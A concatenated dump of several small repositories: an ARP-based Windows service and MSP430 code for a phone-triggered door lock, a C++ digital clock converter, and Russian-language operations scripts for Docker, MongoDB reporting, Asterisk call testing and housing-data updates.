a67577726083210cca7315c45a806e08a1453e47
[ "Java" ]
1
Java
uzbekdev1/SchemaCrawler
918ae36cdd99f11fd739b64181683c8c6180939a
f42882e916bf4c92f0d52bd2bcfcd99e98480d59
refs/heads/master
<file_sep>ARP-Windows-Service =================== The goal of this project is to create a windows service, which will detect when a phone - with known MAC or IP address - is connected to the local area network, sending the detection result over a serial port to a MSP430G2553 Chip / Breakout Board. ###Creating a Windows Service To investigate the proper form of service creation, the [Windows Service Applications](http://msdn.microsoft.com/en-us/library/y817hyb6(v=vs.110).aspx) is used as a guide. The Microsoft .NET Framework SDK will be used to create this service package. ###ARP Ideally, this [linux kernal code](https://www.kernel.org/pub/linux/kernel/people/marcelo/linux-2.4/net/ipv4/arp.c) will be repurposed within the service to enable the detection of the desired network device. ###Serial COMM Finally, to communicate with a serial port, the examples given by microsoft on their [serial communications](http://msdn.microsoft.com/en-us/library/ff802693.aspx) page should allow the creation of serial port and the writing of data to that port. ###UPDATES This page will be updated with links and unpredicted shortcomings as they are encountered. ###Issues in Developement - 8/21/14 This README will serve as a journal of sorts to document my methodology in approaching unknown problems. The extent of my programming experience thus far has been: Windows command prompt based applications in C, basic serial and GUI programming in C++ using Visual Studio, Java programming I and II - basic to semi-advanced ideas in OO programming, basic programming in C for microcontrollers (MSP430 and ATMega644p targets), MIPS using MARS emulation plaform and basic webprogramming (PHP, HTML, CSS, MySQL, JavaScript). *This being said, an approach such as this may be mildly overkill for the end application, but that will be determined along the way.* ###Issues in Developement - 8/22/14 Resolved several issues. Instructions for creating a windows service with timed event: http://blogs.msdn.com/b/bclteam/archive/2005/03/15/396428.aspx Instructions for compiling C# without using Visual Studio. Poor mans version to develope for .NET - works well! http://news.kynosarges.org/2013/02/13/programming-net-4-5-without-vs2012/ Currently struggling with the issue of ARP cache not updating after the device is disconnected. The 'arp -a' is easily parsed in C# using a substring compare with the MAC address of choice. Unsure of whether the cached should be deleted everytime I call 'arp' or if a solution using the ping library can be obtained. I do not want to degrade the rest of my networking applications by doing this. After pinging the device, the arp cache is updated, but if I ping every device on my network, the default ping options take very long to complete. Ping class will be investigated further. As for the ARP code suggested in the original project proposal, .NET SDK does not contain compiler for C, addtionally C# contains all of the libraries neccessary for this project, therefore the original idea of using the C code from the linux kernel will be scrapped. ###Issues in Developement - 8/23/14 **Finished proof of concept code. Everything works as originally intended.** #### Windows Service Issues Addressing the ARP Cache Table issue, pinging the first 25 addresses on the local network refreshes the table. The DHCP on this particular router is configured to only assign addresses within the range of xxx.xxx.xxx.1-25, thus saving time in determining the active devices currently connected to the network. Without utilizing visual studio as my IDE, taking advantage of built in features proved difficult, features such as adding a configured installer to the desired service code was confusing with no prior experience. ####MSP430 Issues Issues that need addressing: 1. Windows Service depends on the MSP430 being connected to COM5, need to scan ports to verify that MSP430 is indeed connected to that port before opening and sending data. 2. Address whether or not pinging is the best way to update ARP cache. 3. Determine if this method of finding device is the most efficient and secure. <file_sep>#include "msp430g2553.h" #define MCU_CLOCK 1000000 //Main Clock frequency #define PWM_FREQUENCY 46 // In Hertz, ideally 50Hz. #define SERVO_STEPS 180 // Maximum amount of steps in degrees #define SERVO_MIN 800 // The minimum duty cycle for this servo #define SERVO_MAX 2200 // The maximum duty cycle unsigned int PWM_Period = (MCU_CLOCK / PWM_FREQUENCY); // PWM Period unsigned int PWM_Duty = 0; // % unsigned int servo_stepval, servo_stepnow; unsigned int servo_lut[ SERVO_STEPS+1 ]; unsigned int i; void UARTSendArray(unsigned char *TxArray, unsigned char ArrayLength); static volatile char data; void main(void) { // Calculate the step value and define the current step, defaults to minimum. servo_stepval = ( (SERVO_MAX - SERVO_MIN) / SERVO_STEPS ); servo_stepnow = SERVO_MIN; // Fill up the LUT for (i = 0; i < SERVO_STEPS; i++) { servo_stepnow += servo_stepval; servo_lut[i] = servo_stepnow; } BCSCTL1 = CALBC1_1MHZ; // Set DCO to 1MHz DCOCTL = CALDCO_1MHZ; // Set DCO to 1MHz // Setup the PWM, etc. P1DIR |= BIT6; // P1.6 as outputs WDTCTL = WDTPW + WDTHOLD; // Kill watchdog timer TACCTL1 = OUTMOD_7; // TACCR1 reset/set TACTL = TASSEL_2 + MC_1; // SMCLK, upmode TACCR0 = PWM_Period-1; // PWM Period TACCR1 = PWM_Duty; // TACCR1 PWM Duty Cycle /* Configure hardware UART */ P1SEL = BIT1 + BIT2 + BIT6; // P1.1 = RXD, P1.2=TXD P1SEL2 = BIT1 + BIT2 ; // P1.1 = RXD, P1.2=TXD UCA0CTL1 |= UCSSEL_2; // Use SMCLK UCA0BR0 = 104; // Set baud rate to 9600 with 1MHz clock (Data Sheet 15.3.13) UCA0BR1 = 0; // Set baud rate to 9600 with 1MHz clock UCA0MCTL = UCBRS0; // Modulation UCBRSx = 1 UCA0CTL1 &= ~UCSWRST; // Initialize USCI state machine IE2 |= UCA0RXIE; // Enable USCI_A0 RX interrupt __bis_SR_register(LPM0_bits + GIE); // Enter LPM0, interrupts enabled // Go to 0° TACCR1 = servo_lut[0]; } // Echo back RXed character, confirm TX buffer is ready first #pragma vector=USCIAB0RX_VECTOR __interrupt void USCI0RX_ISR(void) { data = UCA0RXBUF; switch(data){ case 'u': { // Go to 0° TACCR1 = servo_lut[0]; } break; case 'l': { // Go to 180° TACCR1 = servo_lut[120]; } break; default: { } break; } } void UARTSendArray(unsigned char *TxArray, unsigned char ArrayLength){ // Send number of bytes Specified in ArrayLength in the array at using the hardware UART 0 // Example usage: UARTSendArray("Hello", 5); // int data[2]={1023, 235}; // UARTSendArray(data, 4); // Note because the UART transmits bytes it is necessary to send two bytes for each integer hence the data length is twice the array length while(ArrayLength--){ // Loop until StringLength == 0 and post decrement while(!(IFG2 & UCA0TXIFG)); // Wait for TX buffer to be ready for new data UCA0TXBUF = *TxArray; //Write the character at the location specified py the pointer TxArray++; //Increment the TxString pointer to point to the next character } } <file_sep>using System; using System.ServiceProcess; using System.ComponentModel; using System.Configuration.Install; using System.Threading; using System.Diagnostics; using System.Net; using System.Net.NetworkInformation; using System.Text; using System.IO.Ports; public class CronService : ServiceBase { private CronJob job; private Timer stateTimer; private TimerCallback timerDelegate; public CronService() { this.ServiceName = "WIFI_DOOR_LOCK"; this.CanStop = true; this.CanPauseAndContinue = false; this.AutoLog = true; } protected override void OnStart(string [] args) { job = new CronJob(); timerDelegate = new TimerCallback(job.checkConnection); stateTimer = new Timer(timerDelegate, null, 15000, 15000); } protected override void OnStop() { stateTimer.Dispose(); } public static void Main() { System.ServiceProcess.ServiceBase.Run(new CronService()); } } [RunInstaller(true)] public class CronInstaller : Installer { private ServiceProcessInstaller processInstaller; private ServiceInstaller serviceInstaller; public CronInstaller() { processInstaller = new ServiceProcessInstaller(); serviceInstaller = new ServiceInstaller(); processInstaller.Account = ServiceAccount.LocalSystem; serviceInstaller.StartType = ServiceStartMode.Automatic; serviceInstaller.ServiceName = "WIFI_DOOR_LOCK"; Installers.Add(serviceInstaller); Installers.Add(processInstaller); } } public class CronJob { // The state object is necessary for a TimerCallback. public void checkConnection(object stateObject) { Process p = new Process(); Ping pingSender = new Ping (); p.StartInfo.FileName = "arp"; p.StartInfo.Arguments = "-a"; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; string data = "a"; byte[] buffer = Encoding.ASCII.GetBytes (data); for(int i = 0; i < 25 ; i++){ pingSender.Send ("10.0.0."+i.ToString(),10,buffer); } p.Start(); string output = p.StandardOutput.ReadToEnd(); p.WaitForExit(); string MAC = "xx-xx-xx-xx-xx-xx"; if(output.Contains(MAC)){ SerialPort port = new SerialPort("COM5", 9600); port.Open(); port.Write("u"); port.Close(); } else{ SerialPort port = new SerialPort("COM5", 9600); port.Open(); port.Write("l"); port.Close(); } } }
ca52688a64dc8ad279e5fc871957ddb29698968d
[ "Markdown", "C", "C#" ]
3
Markdown
kurtvonehr/ARP-Windows-Service
a969d02ac979fae89bf91d3ca590f474c2a9efc3
b4752c2b895edd8676f91c9d881453168a3e37af
refs/heads/main
<repo_name>sayedshaaban4/Digital-Clock<file_sep>/README.md # Digital-Clock This code Wriiten by c++ language . I wrote it with my teammate colleague . it's our project at first year at FCAI-CU . This code behaviour is to conver seconds to time format and vice versa (12 hours day format) . <file_sep>/Digital_Clock/main.cpp #include <iostream> using namespace std; void DigitalClockIntToStr(int sec , char time[11]) { //two variables to calculate //minutes and hours . int minn=0,hor=0; //condition if user input number //of seconds out of range . if ( sec>=86400 || sec<0 ){ time[0]='i'; time[1]='n'; time[2]='v'; time[3]='a'; time[4]='l'; time[5]='i'; time[6]='d'; time[7]='\0'; } else{ //calculating number of seconds //that should appear on clock . while (sec>=60){ minn++; sec-=60; } //calculating number of minutes //that should appear on clock . while (minn>=60){ hor++; minn-=60; } //condition to know if we are //at day or at night . if(hor>12){ time[8]='p'; hor-=12; } else{ time[8]='a'; } //hours 0 mean its 12 now . if(hor==0){ hor=12; } //setting values to my char array . time[0]=(hor/10)+48; time[1]=(hor%10)+48; time[2]=':'; time[3]=(minn/10)+48; time[4]=(minn%10)+48; time[5]=':'; time[6]=(sec/10)+48; time[7]=(sec%10)+48; time[9]='m'; } } DigitalClockStrToInt(const string time) { //variables for time . int sec=0,hor=0,minn=0,flag=0; //condition to know if we are //at day or at night . if(time[8]=='a'){ flag=1; } //condition if hours contain two digits . if(time[0]=='1'){ hor=(time[1]-48)+10; } //calculations . minn=(time[3]-48)*10; minn=minn+time[4]-48; sec=(time[6]-48)*10; sec=sec+time[7]-48; //condition to handle hours //if we are at day or at night . if(hor==12){ hor=0; if(flag==0){ sec+=43200; } } return (hor*60*60)+(minn*60)+sec; } int main() { cout<<"Enter number of seconds that you want to convert it to time "<<endl; int a;cin>>a; char time[11]; DigitalClockIntToStr(a,time); cout<<time<<endl; cout<<endl<<"Enter time that you want to convert it to seconds in format like (12:00:00am) "<<endl; string b;cin>>b; cout<<DigitalClockStrToInt(b); return 0; }
c39092a7ced4db89ed39ad452aecbfd14d94dc67
[ "Markdown", "C++" ]
2
Markdown
sayedshaaban4/Digital-Clock
ed037683feb601566f65d984eccbee1e5cb4282f
c50ab16fb8229926ec6839fe6707b021e0b1beaf
refs/heads/master
<file_sep>#!/bin/sh LOGPATH=/opt/reporting/logs/photoraw/processing.log DATAPATH=/opt/photos/raw_logs /usr/bin/docker run --rm --cpus="1" --memory=512m --network=host -d \ -e db=divmob \ -e dbhost=div-postgres.focus.local \ -e dbport=5433 \ -e dbuser=divmob \ -e dbpasswd=<PASSWORD> \ -e endpoint=https://test.focus.ru/photo/ \ -e user=apiuser \ -e passwd=<PASSWORD> \ -v "${LOGPATH}":/app/processing.log \ -v "${DATAPATH}":/app/data/ \ photoraw:0.2<file_sep>#!/bin/sh LOGPATH=/opt/reporting/logs/photo-resender/processing.log CONFPATH=/opt/reporting/photo_config.json DATE_TO=`date -d "-1 minutes" +"%Y-%m-%dT%H:%M"`:00 /usr/bin/docker run --rm --cpus="1" --memory=512m -d -e S_TO=${DATE_TO} -v "${CONFPATH}":/app/config.json -v "${LOGPATH}":/app/processing.log -v /opt/photos/photos:/data -v /opt/photos2/photos:/data2 -v /opt/photos3/photos:/data3 photo-resender:0.1<file_sep>db.PaymentDocument.update( { "MainInfo.Date.Year": NumberInt(2018), "MainInfo.Date.Month": NumberInt(4), "PublicationStatus": NumberInt(3), "CompanyId": "73eba46a-0c6f-42d3-8a7b-2962f0fbf06d"}, { $set: { PublicationStatus: 0} }, { multi: true } )<file_sep>import os import time import urllib.parse from http.server import BaseHTTPRequestHandler, HTTPServer from time import sleep import traceback from asterisk.ami import Action, AMIClient #глобальная переменная, хранит результат звонка test_result = '' #сервер Asterisk host = os.environ['ASTER_HOST'] # Asterisk with AMI and test dialplan #логин AMI user = os.environ['AMI_LOGIN'] # AMI user password = os.environ['AMI_PASS'] # AMI password class S(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def _html(self, message): """This just generates an HTML document that includes `message` in the body. Override, or re-write this do do more interesting stuff. """ content = f"<html><body><h1>{message}</h1></body></html>" return content.encode("utf8") # NOTE: must return a bytes object! def do_GET(self): try: s = self.path d = urllib.parse.parse_qs(s[2:]) self._set_headers() number = d['number'][0] if 'trunk' in d: trunk = d['trunk'][0] else: trunk = '' self.wfile.write(self._html(number + ' ' + trunk)) res = 1 count = 0 while(res): res = call(number, trunk) print('call result {}'.format(res)) sleep(10) count += 1 # выходим из цикла в случае успешного дозвона или если не смогли дозвониться в течение n=3 попыток if count >= 3: break except Exception as e: s = traceback.format_exc() self.send_error(400) def do_HEAD(self): self._set_headers() def do_POST(self): # Doesn't do anything with posted data self._set_headers() self.wfile.write(self._html("POST!")) def run(server_class=HTTPServer, handler_class=S, addr="0.0.0.0", port=8000): server_address = (addr, port) httpd = server_class(server_address, handler_class) print(f"Starting httpd server on {addr}:{port}") httpd.serve_forever() def done(future): global test_result if future.status == 'Error': test_result = 'ERROR' #функция в которой анализируем события приходящие из Asterisk #dialplan, по которому делаем вызов, должен генерировать события UserEvent, например #[call-file] #exten => s,n,UserEvent(EVENT_OK,Start event) def event_notification(source, event): global test_result keys = event.keys if 'UserEvent' in keys: if keys['UserEvent'] == 'EVENT_IVR': print('EVENT_ENTER_IVR') if keys['UserEvent'] == 'EVENT_WRONGANSWER': print('EVENT_WRONG_ANSWER') if keys['UserEvent'] == 'EVENT_OK': print('OK') test_result = 'OK' if keys['UserEvent'] == 'EVENT_TOOMUCH': print('EVENT_TOOMUCH') test_result = 'INVALID_ANSWER' if keys['UserEvent'] == 'EVENT_TIMEOUT': print('EVENT_TIMEOUT') test_result = 'TIMEOUT' def call(number, trunk): global test_result test_result = '' context = { "context": "call-file", "extension": "s", "priority": 1 } # call_to = 'SIP/242' тестовый вызов # вызываемый номер в формате SIP/номер@транк if trunk: call_to = 'SIP/' + number + '@' + trunk else: call_to = 'SIP/' + number # получаем только пользовательские события aEnableEvents = Action('Events', keys={'EventMask': 'user'}) # originate вызов и необходимые параметры (context, channel, extension, priority, CID) aOriginateCall = Action('Originate', keys={'Channel': call_to, 'Context': context['context'], 'Exten': context['extension'], 'Priority': context['priority'], 'CallerId': '999'} ) # Init AMI client and try to login client = AMIClient(host) #на данном этапе прослушиватель будет получать все события client.add_event_listener(event_notification) try: future = client.login(user, password) # This will wait for 1 second or fail if future.response.is_error(): raise Exception(str(future.response.keys['Message'])) except Exception as e: client.logoff() s = traceback.format_exc() test_result = 'ERROR' #sys.exit('Error: {}'.format(s)) print('Spawned AMI session to: {}'.format(host)) print('Logged in as {}'.format(user)) try: #устанавливаем фильтр на получаемые события client.send_action(aEnableEvents, None) #Action: Originate, т.е. совершаем звонок client.send_action(aOriginateCall, done) print('Originated call to {}'.format(call_to)) except Exception as e: client.logoff() s = traceback.format_exc() test_result = 'ERROR' #sys.exit('Error: {}'.format(s)) print('Waiting for events...') # Wait for events during timelimit interval for i in range(70): time.sleep(1) # If test_result is changed (via events), then stop waiting if test_result: break; else: client.logoff() test_result ='TIMEOUT' #sys.exit('Error: time limit exceeded') client.logoff() codes = { 'OK': 0, 'TIMEOUT': 1, 'ERROR': 2, 'INVALID_ANSWER': 3, } return codes[test_result] if __name__ == "__main__": run()<file_sep>//Пример использования aggregate //Нужно из следующего документа в коллекции GisTerminology получить все возможные значения поля Values.Name: { "_id" : ObjectId("596775a3374213e79a3e9408"), "Modified" : ISODate("2017-01-24T06:16:51.549+0000"), "DisplayName" : "Причина закрытия лицевого счета", "Name" : "r22", "RegistryNumber" : "22", "Values" : [ { "Code" : "10", "GUID" : "f863ff59-1eae-414e-a283-574f95f1cc6f", "Name" : "Ошибка ввода" }, { "Code" : "11", "GUID" : "7ee8b4db-dabc-40eb-9009-f4f80b36bfe5", "Name" : "Расторжение договора" }, { "Code" : "1", "GUID" : "142a501d-39f9-4450-a7a8-18fe132afa42", "Name" : "Окончание действия договора социального найма" }, { "Code" : "2", "GUID" : "2887887b-8041-4cf4-971d-47906e408a80", "Name" : "Окончание договора аренды" }, { "Code" : "3", "GUID" : "68f0ef56-2b21-4a2d-80e7-b8f49f78b9c5", "Name" : "Окончание договора найма" }, { "Code" : "4", "GUID" : "2013c750-af58-4d2c-887f-5f4046e23dab", "Name" : "Окончание предоставления жилого помещения жилищным кооперативом" }, { "Code" : "5", "GUID" : "58c6deca-74f6-47bc-86bd-34124e5c3830", "Name" : "Окончание права собственности" }, { "Code" : "6", "GUID" : "49e07e7d-c8cd-4fd0-9538-62c6f795b14c", "Name" : "Перевод помещения в нежилое" }, { "Code" : "7", "GUID" : "bdf98ee8-5927-4488-9409-906933b93443", "Name" : "Снос дома" }, { "Code" : "8", "GUID" : "75ec9439-5b76-47ec-a43b-889d135e2b9d", "Name" : "Объединение лицевых счетов" }, { "Code" : "9", "GUID" : "8fa43a8f-da71-4292-bb14-5edccd77b157", "Name" : "Изменение реквизитов лицевого счета" }, { "Code" : "12", "GUID" : "24e0fa1d-7a8b-4dad-ab98-a70489be23f0", "Name" : "Смена исполнителя жилищно-коммунальных услуг" }, { "Code" : "13", "GUID" : "21697d19-6cd4-44bc-8d74-fa02a0c62ae6", "Name" : "Переход исполнителя жилищно-коммунальных услуг на самостоятельные расчеты" } ] } db.GisTerminology.aggregate( { $match: { Name: "r22" } }, { $unwind: "$Values" }, { $project: { _id: 0, name: "$values.name" } }) $match - первичная фильтрация по полю $unwind - разворачивание по массиву Values (регистр имени массива важен) $project - отображение только нужных полей Результат: { "Values" : { "Name" : "Ошибка ввода" } } { "Values" : { "Name" : "Расторжение договора" } } { "Values" : { "Name" : "Окончание действия договора социального найма" } } { "Values" : { "Name" : "Окончание договора аренды" } } { "Values" : { "Name" : "Окончание договора найма" } } { "Values" : { "Name" : "Окончание предоставления жилого помещения жилищным кооперативом" } } { "Values" : { "Name" : "Окончание права собственности" } } { "Values" : { "Name" : "Перевод помещения в нежилое" } } { "Values" : { "Name" : "Снос дома" } } { "Values" : { "Name" : "Объединение лицевых счетов" } } { "Values" : { "Name" : "Изменение реквизитов лицевого счета" } } { "Values" : { "Name" : "Смена исполнителя жилищно-коммунальных услуг" } } { "Values" : { "Name" : "Переход исполнителя жилищно-коммунальных услуг на самостоятельные расчеты" } }<file_sep>from datetime import datetime, timedelta d1 = datetime.now() d2 = d1 + timedelta(days=-14) import pymongo from pymongo import MongoClient client = MongoClient('localhost', 27017) db = client['AwesomeMoscow'] pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$match": { "City.FORMALNAME": {"$ne": "Москва"} } }, { "$group": { "_id": "$City.FORMALNAME", "classes_count": {"$sum": 1} } } ] classes = list(db.Class.aggregate(pipeline)) pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$lookup": { "from": "Class", "localField": "CurrentClassId", "foreignField": "_id", "as": "Class" } }, { "$unwind": { "path": "$Class", "includeArrayIndex": "arrayIndex", "preserveNullAndEmptyArrays": True } }, { "$match": { "Class.City.FORMALNAME": {"$ne": "Москва"} } }, { "$group": { "_id": "$Class.City.FORMALNAME", "users_count": {"$sum": 1} } } ] users = list(db.Profile.aggregate(pipeline)) pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$lookup": { "from": "Class", "localField": "ClassId", "foreignField": "_id", "as": "Class" } }, { "$unwind": { "path": "$Class", "includeArrayIndex": "arrayIndex", "preserveNullAndEmptyArrays": True } }, { "$match": { "Class.City.FORMALNAME": {"$ne": "Москва"} } }, { "$group": { "_id": "$Class.City.FORMALNAME", "votes_count": {"$sum": 1} } } ] votes = list(db.Vote.aggregate(pipeline)) pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$lookup": { "from": "Class", "localField": "ClassId", "foreignField": "_id", "as": "Class" } }, { "$unwind": { "path": "$Class", "includeArrayIndex": "arrayIndex", "preserveNullAndEmptyArrays": True } }, { "$match": { "Class.City.FORMALNAME": {"$ne": "Москва"} } }, { "$group": { "_id": "$Class.City.FORMALNAME", "events_count": {"$sum": 1} } } ] events = list(db.Event.aggregate(pipeline)) #join classes and events for x in classes: r = next((item for item in users if item["_id"] == x['_id']), None) x['users_count'] = r['users_count'] if (r) else 0 r = next((item for item in votes if item["_id"] == x['_id']), None) x['votes_count'] = r['votes_count'] if (r) else 0 r = next((item for item in events if item["_id"] == x['_id']), None) x['events_count'] = r['events_count'] if (r) else 0 pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$lookup": { "from": "Class", "localField": "ClassId", "foreignField": "_id", "as": "embeddedData" } }, { "$unwind": "$embeddedData" }, { "$project": { "Название_Класса": "$embeddedData.ClassName", "Название_События": "$Name", "Место": {"$ifNull": ["$Place", "-"]}, "Дата_создания": "$_header._created", "Создано_на_основе_идеи": { "$cond": [{"$not": "$SourceIdeaUrl"}, "Нет", "Да"] }, "Идея": "$SourceIdeaUrl", "_id": 0, "Город": "$embeddedData.City.FORMALNAME", "Количество_участников": { "$size": "$Participants" } } }, { "$match": { "Город": "Москва" } }] res = list(db.Event.aggregate(pipeline)) from openpyxl import Workbook from openpyxl import load_workbook import os dir_path = os.path.dirname(os.path.realpath(__file__)) wb = load_workbook(dir_path + '/template_moscow.xlsx') wb2 = load_workbook(dir_path + '/template_zamkad.xlsx') ws2 = wb2.active k = 2 for x in classes: ws2.cell(row=k, column=1, value=x['_id']) ws2.cell(row=k, column=2, value=x['users_count']) ws2.cell(row=k, column=3, value=x['classes_count']) ws2.cell(row=k, column=4, value=x['votes_count']) ws2.cell(row=k, column=5, value=x['events_count']) k += 1 ws = wb['События'] k = 2 for x in res: ws.cell(row=k, column=1, value=x['Название_Класса']) ws.cell(row=k, column=2, value=x['Название_События']) ws.cell(row=k, column=3, value=x['Место']) ws.cell(row=k, column=4, value=x['Дата_создания']) ws.cell(row=k, column=5, value=x['Создано_на_основе_идеи']) ws.cell(row=k, column=6, value=x['Количество_участников']) k += 1 pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$lookup": { "from": "Class", "localField": "ClassId", "foreignField": "_id", "as": "embeddedData" } }, { "$unwind": { "path": "$embeddedData", "preserveNullAndEmptyArrays": True } }, { "$project": { "Название_Класса": {"$ifNull": ["$embeddedData.ClassName", "-"]}, "Название_Голосования": "$VoteName", "Дата_создания": "$_header._created", "Создано_на_основе_идеи": { "$cond": [{"$not": "$SourceIdeaUrl"}, "Нет", "Да"] }, "_id": 0, "Город": "$embeddedData.City.FORMALNAME", "Количество_голосов": {"$size": {"$ifNull": ["$Users", []]}} } }, { "$match": { "Город": "Москва" } } ] res = list(db.Vote.aggregate(pipeline)) ws = wb['Голосования'] k = 2 for x in res: ws.cell(row=k, column=1, value=x['Название_Класса']) ws.cell(row=k, column=2, value=x['Название_Голосования']) ws.cell(row=k, column=3, value=x['Дата_создания']) ws.cell(row=k, column=4, value=x['Создано_на_основе_идеи']) ws.cell(row=k, column=5, value=x['Количество_голосов']) k += 1 pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$lookup": { "from": "Profile", "localField": "_id", "foreignField": "CurrentClassId", "as": "embeddedData" } }, { "$project": { "_id": 0, "Название_Класса": {"$ifNull": ["$ClassName", "-"]}, "Дата_создания": "$_header._created", "Город": "$City.FORMALNAME", "Количество_Родителей_в_классе": {"$size": {"$ifNull": ["$embeddedData", []]}} } }, { "$match": { "Город": "Москва" } } ] res = list(db.Class.aggregate(pipeline)) ws = wb['Классы'] k = 2 for x in res: ws.cell(row=k, column=1, value=x['Название_Класса']) ws.cell(row=k, column=2, value=x['Дата_создания']) ws.cell(row=k, column=3, value=x['Количество_Родителей_в_классе']) k += 1 pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$lookup": { "from": "Profile", "localField": "_id", "foreignField": "CurrentClassId", "as": "embeddedData" } }, { "$project": { "_id": 0, "Название_Класса": {"$ifNull": ["$ClassName", "-"]}, "Дата_создания": "$_header._created", "Город": "$City.FORMALNAME", "Количество_Родителей_в_классе": {"$size": {"$ifNull": ["$embeddedData", []]}} } }, { "$match": { "Город": "Москва" } } ] res = list(db.Class.aggregate(pipeline)) ws = wb['Классы'] k = 2 for x in res: ws.cell(row=k, column=1, value=x['Название_Класса']) ws.cell(row=k, column=2, value=x['Дата_создания']) ws.cell(row=k, column=3, value=x['Количество_Родителей_в_классе']) k += 1 pipeline = [ { "$match": { "_header._created": {"$lte": d1, "$gt": d2} } }, { "$unwind": { "path": "$Roles", "preserveNullAndEmptyArrays": True } }, { "$lookup": { "from": "Class", "localField": "Roles.ClassId", "foreignField": "_id", "as": "embeddedData" } }, { "$unwind": { "path": "$embeddedData", "preserveNullAndEmptyArrays": True } }, { "$match": { "embeddedData.City.FORMALNAME": "Москва" } }, { "$group": { "_id": "$FullName", "count": {"$sum": int(1)}, "Создан": {"$first": "$_header._created"} } }, { "$project": { "Имя пользователя": "$_id", "Дата регистрации": "$Создан", "Количество классов": "$count", "_id": 0 } } ] res = list(db.Profile.aggregate(pipeline)) ws = wb['Пользователи'] k = 2 for x in res: ws.cell(row=k, column=1, value=x['Имя пользователя']) ws.cell(row=k, column=2, value=x['Дата регистрации']) ws.cell(row=k, column=3, value=x['Количество классов']) k += 1 filename_moscow = "Moscow " + d2.strftime("%Y-%m-%d") + ' - ' + d1.strftime("%Y-%m-%d") + ".xlsx" filename_zamkad = "Other cities " + d2.strftime("%Y-%m-%d") + ' - ' + d1.strftime("%Y-%m-%d") + ".xlsx" wb.save(dir_path + "/" + filename_moscow) wb2.save(dir_path + "/" + filename_zamkad) import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders server = smtplib.SMTP_SSL('smtp.yandex.ru:465') login = "noreply@xn--80aa2aelxa8i.xn--80adxhks" passw = "<PASSWORD>" server.login(login, passw) msg = MIMEMultipart() recipients = ['<EMAIL>', '<EMAIL>'] msg['From'] = login msg['To'] = ', '.join(recipients) msg['Subject'] = 'Отчет об активностях в сервисе Классная.Москва за ' + d2.strftime("%Y-%m-%d") + '..' + d1.strftime("%Y-%m-%d") part = MIMEBase('application', "octet-stream") part.set_payload(open(dir_path + "/" + filename_moscow, "rb").read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="' + filename_moscow + '"') msg.attach(part) part = MIMEBase('application', "octet-stream") part.set_payload(open(dir_path + "/" + filename_zamkad, "rb").read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="' + filename_zamkad + '"') msg.attach(part) server.sendmail(login, recipients, msg.as_string()) server.quit()<file_sep>bottle==0.12.16 PyYAML==5.1 <file_sep>Склонировать репозиторий: ``` git clone http://i.ivanov@192.168.222.3:8080/scm/git/scm-manager-webhooks ``` Образец настроек лежит в config.yml #### Как проверить работу Запустить скрипт в контейнере: ``` docker-compose up ``` Отредактировать тестовый json (заменить строку "mail": "<EMAIL>" своим почтовым ящиком) ``` vim ./tests/test_email_substitution_request.json ``` Проверить работу скрипта отправив тестовый POST запрос: ``` curl -d @.\tests\test_email_substitution_request.json -X POST http://localhost:4001 ``` Письмо должно прийти в почтовый ящик указанный в тестовом json <file_sep># coding=utf-8 import re import csv import pymongo import os import sys from pymongo import MongoClient def get_script_path(): return os.path.dirname(os.path.realpath(sys.argv[0])) def get_house_number(s): pattern = re.compile('(\d+)(\D*)') res = pattern.search(s) return res.group(1) def get_house_block(s): pattern = re.compile('(\d+)(\D*)') res = pattern.search(s) return res.group(2) # hpat = re.compile(".*комсомольский.*", re.IGNORECASE) # npat = re.compile("71а", re.IGNORECASE) # h = col.find_one({"HouseDisplayAddress": {"$regex": regx}, "FiasHouseAddress.HOUSENUM": {"$regex": npat}}) csv_path = get_script_path() + "/pumps.csv" f = open(csv_path, "r") reader = csv.reader(f) client = MongoClient('localhost', 27017) db = client['reformagkh'] houses_collection = db['GetHouseProfile988Response'] adr = [] blacklist = ["ШАГОЛЬСКАЯ 2-Я 36а", "ШАГОЛЬСКАЯ 41а", "КРАСНОЗНАМЕННАЯ 6", "1-Й КВАРТАЛ ШАГОЛЬСКАЯ 6", "1-Й КВАРТАЛ ШАГОЛЬСКАЯ 8", "МЕЛЬНИЧНЫЙ ТУПИК 16", "СВЕРДЛОВСКИЙ ПР-КТ 8в", "СОЛНЕЧНАЯ 42", "ЦИНКОВАЯ 12а", "КРАСНОЗНАМЕННАЯ 6", "КРАСНОГО УРАЛА 9", "КОМСОМОЛЬСКИЙ ПРОСПЕКТ 88а", "КОМСОМОЛЬСКИЙ ПРОСПЕКТ 48а", "ПР-КТ ПОБЕДЫ 192"] for row in reader: values = row[0].split(';') street = values[0].strip() housenum = values[1].strip() raw = values[2].strip() pump = int(values[2].strip()) if (values[2].strip()) else 0 pump_exists = True if (pump > 0) else False street_pattern = re.compile(".*" + street + ".*", re.IGNORECASE) house_number = get_house_number(housenum) house_block = get_house_block(housenum) hash = street + ' ' + housenum if hash in blacklist: adr.append("BLACKLIST " + hash + " " + str(pump_exists)) continue h = {} if house_block: block_pattern = re.compile(house_block, re.IGNORECASE) h = houses_collection.find_one( {"HouseDisplayAddress": {"$regex": street_pattern}, "full_address.house_number": house_number, "full_address.block": {"$regex": block_pattern}}) else: h = houses_collection.find_one( {"HouseDisplayAddress": {"$regex": street_pattern}, "full_address.house_number": house_number, "$or": [{"full_address.block": {"$exists": False}}, {"full_address.block": ""}]}) if not h: adr.append("ERROR " + hash + " " + str(pump_exists)) continue if pump_exists: h['GeneralInfo'] = {"IsPumpExist": True} print("+Pump added " + hash) else: h['GeneralInfo'] = {"IsPumpExist": False} print("-Pump is not present " + hash) id = h['_id'] houses_collection.update_one({'_id': id}, {"$set": h}, upsert=False) print('') for i in adr: print(i) 